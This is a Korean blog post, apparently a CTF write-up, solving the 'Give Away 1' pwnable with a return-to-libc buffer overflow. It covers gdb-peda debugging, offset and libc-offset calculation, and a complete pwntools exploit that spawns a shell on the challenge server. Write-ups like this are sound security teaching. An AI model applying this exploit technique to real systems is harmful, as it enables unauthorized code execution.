CTF/포너블

[SharkyCTF] Give Away 1 - 포너블 / RTL / IDA / Peda / Pwntool

SecurityMan 2022. 8. 24. 11:00

 

이전에 포스팅 했던 GIVE AWAY 0 보다 한단계 어려워진 문제이다.

(https://hackingstudypad.tistory.com/237)

 

반응형

 

이전 문제와 차이점은 주어지는 파일을 보면 직관적으로 알 수 있는데

 

지난번에는 0_give_away 라는 바이너르 파일 하나만 제공되었으나

 

이번에는 give_away_1 바이너리 파일과, libc-2.27.so 파일이 같이 제공되는것을 볼 수 있다.

 

여기서 사용되는 기법은 RTL (Return To Libc) 라는 기법으로

 

ret 부분에 적힌 주소를 libc 영역으로 바꿔 libc 에 들어있는 함수를 불러와 실행하는 것이다.

 

이전 문제는 win_func 라는 shell을 실행시킬 수 있는 함수가 프로그램 내에 내장되어 있었다면,

 

이번 문제는 그런 함수가 없이도, 시스템에 있는 libc 를 통해 shell 을 실행시킬 수 있다는 것이다.

 

 

우선 리눅스에서 file 명령어로 주어진 바이너리 파일을 확인해보면

 

32비트 ELF 파일인것을 확인할 수 있다. ELF 는 리눅스에서 실행가능한 실행파일이다.

 

 

일단 ./give_away_1 로 프로그램을 실행시켜본다.

 

Give away : 0xf7d97cc0 이라고 어떤 알수없는 주소같은 것을 출력하고

 

사용자 입력을 받는다.

 

hello 라고 시험삼아 입력해봤더니 그대로 프로그램이 종료되었다.

 

 

이번에는 무작정 a 를 많이 입력해봤다.

 

그랬더니 segmentation fault 가 떴다.

 

버퍼 오버플로우 공격이 가능할 것 같다.

 

 

IDA 라는 디스어셈블러를 이용해 주어진 바이너리 파일을 살펴본다.

 

main 함수를 보면 아까 실행시켰을때 봤던것 처럼

 

Give away 를 프린트 하고 vuln 함수를 실행시키고 있다.

 

&system 은 system 의 주소를 가리킨다.

 

아까 출력된 0xf7dfecc0 가 system 의 주소였던 것이다.

 

 

이번엔 vuln 함수를 살펴본다.

 

s 라는 28바이트짜리 변수를 선언한다.

 

s 의 위치는 ebp - 0x20 이다.

 

그리고나서 fgets 함수로 사용자의 입력을 50바이트 받고 있다.

 

변수의 크기가 28인데 입력은 50을 허용하고 있으니 당연히 버퍼 오버플로우 취약점이 발생한다.

 

이제 대략적인 정보를 알았으니 문제를 풀어본다.

 

 

지난번과 동일하게 조금 더 업그레이드 된 peda 를 사용해보려고 한다.

 

설치방법은 간단하다. git clone https://github.com/longld/peda.git 명령어로 peda 를 다운받아주고,

 

 

echo "source <peda 다운로드 경로>" >> ~/.gdbinit 라고 해주면 설치가 끝난다.

 

 

 

설치하면 이렇게 똑같이 gdb 라고 실행시켜도

 

아래쪽 프롬포터가 gdb-peda$ 라고 자동으로 바뀌는것을 볼 수 있다.

 

 

이제 gdb give_away_1 로 디버깅을 시작해주면 된다.

 

b vuln 이라고 입력해서 vuln 함수에 브레이크 포인트를 걸어준다.

 

 

r 을 입력해 프로그램을 실행하고,

 

ni 를 입력해서 한칸씩 프로그램을 진행시켜 준다.

 

vuln+37 부분에서 fgets 함수가 실행되는데, 

 

여기서 ni 입력후 사용자 입력을 받으면 aaaa 를 입력해준다.

 

 

그다음 bt 명령어를 입력해준다.

 

지금은 vuln 함수의 실행이 끝나면 0x5655572d 위치에 있는

 

main 함수로 ret 하게 되어있다.

 

이 주소를 잘 기억해야한다.

 

 

x/10wx $ebp-0x20 명령어로 스택을 살펴본다.

 

맨 앞에 0x61616161 이 들어있는게 보이는데

 

0x61 은 알파벳 소문자 a를 의미한다.

 

아까 입력한 aaaa 가 저기에 들어가 있는것이다.

 

그리고 맨 뒤쪽에 보면 아까봤던 0x5455572d 가 들어가있는것도 보인다.

 

저 위치가 ret 주소의 위치인것이다.

 

 

 

처음 0x61616161이 있는 부분부터 ret 주소 앞까지 

 

바이트 수를 세어보면 36 바이트이다.

 

ret 주소를 조작하려면 36 바이트를 임의의 값으로 채워주고 ret 주소를 써주어야 한다.

 

이제 어디로 ret 해야하는지 알아보자.

 

strings -t x libc-2.27.so| grep "/bin/sh"
strings -t x libc-2.27.so| grep "system"

 

두 가지 명령어로 ret 주소를 구할 수 있다.

 

strings 는 파일 내에 문자열을 찾아 출력해주는 명령어이다.

 

-t 옵션을 주면 해당 문자열의 위치를 표시할 방법을 지정할 수 있고,

 

뒤에오는 x는 16진수를 의미한다.

 

give_away_1 프로그램을 이용해 리눅스 쉘을 실행시켜야 하기 때문에

 

system( /bin/sh ) 함수를 실행시켜야해서 저 두 문자열을 찾은것이다.

 

/bin/sh = 0x17e0cf / system = 0x110e2 각각의 주소를 잘 기억해 둔다.

 

from pwn import *

p = remote('sharkyctf.xyz', 20334)
#p = process('./give_away_1')

p.recvuntil("Give away: ")
data = p.recvline().decode()
print(data)

system = int(data, 16)
binsh = system + 0x17e0cf - 0x110e2

payload = ('a'*36).encode() + p32(system) + p32(0) + p32(binsh)

p.sendline(payload)
p.interactive()

 

exploit 코드는 위와 같다.

 

data 변수에 &system 으로 출력되었던 0xf7dfecc 를 받아

 

system 변수에 16진수의 형태로 저장해준다.

 

binsh 변수에는 /bin/sh 의 위치를 저장해주는데 

 

system + 0x17e0cf - 0x110e2 로 계산해준다.

 

저렇게 계산하는 이유는 프로그램이 실행될때마다 system 함수의 주소가 계속 바뀌는데,

 

libc 파일 안에서는 system 과 /bin/sh 의 위치가 항상 동일하므로

 

0x17e0cf - 0x110e2 를 계산해주면 system 함수의 시작부터 /bin/sh 까지의 거리가 나오게 되고,

 

&system 으로 출력된 현재 system 함수의 주소에서부터 그 거리만큼을 더해서 /bin/sh 가 실행되게 하는것이다.

 

마지막으로 payload에 더미값 a를 36개 넣어주고, system + 패딩 4바이트 + /bin/sh 를 입력해주면

 

버퍼 오버플로우 취약점으로 RTL 하여 시스템해킹이 가능해지게 된다.

반응형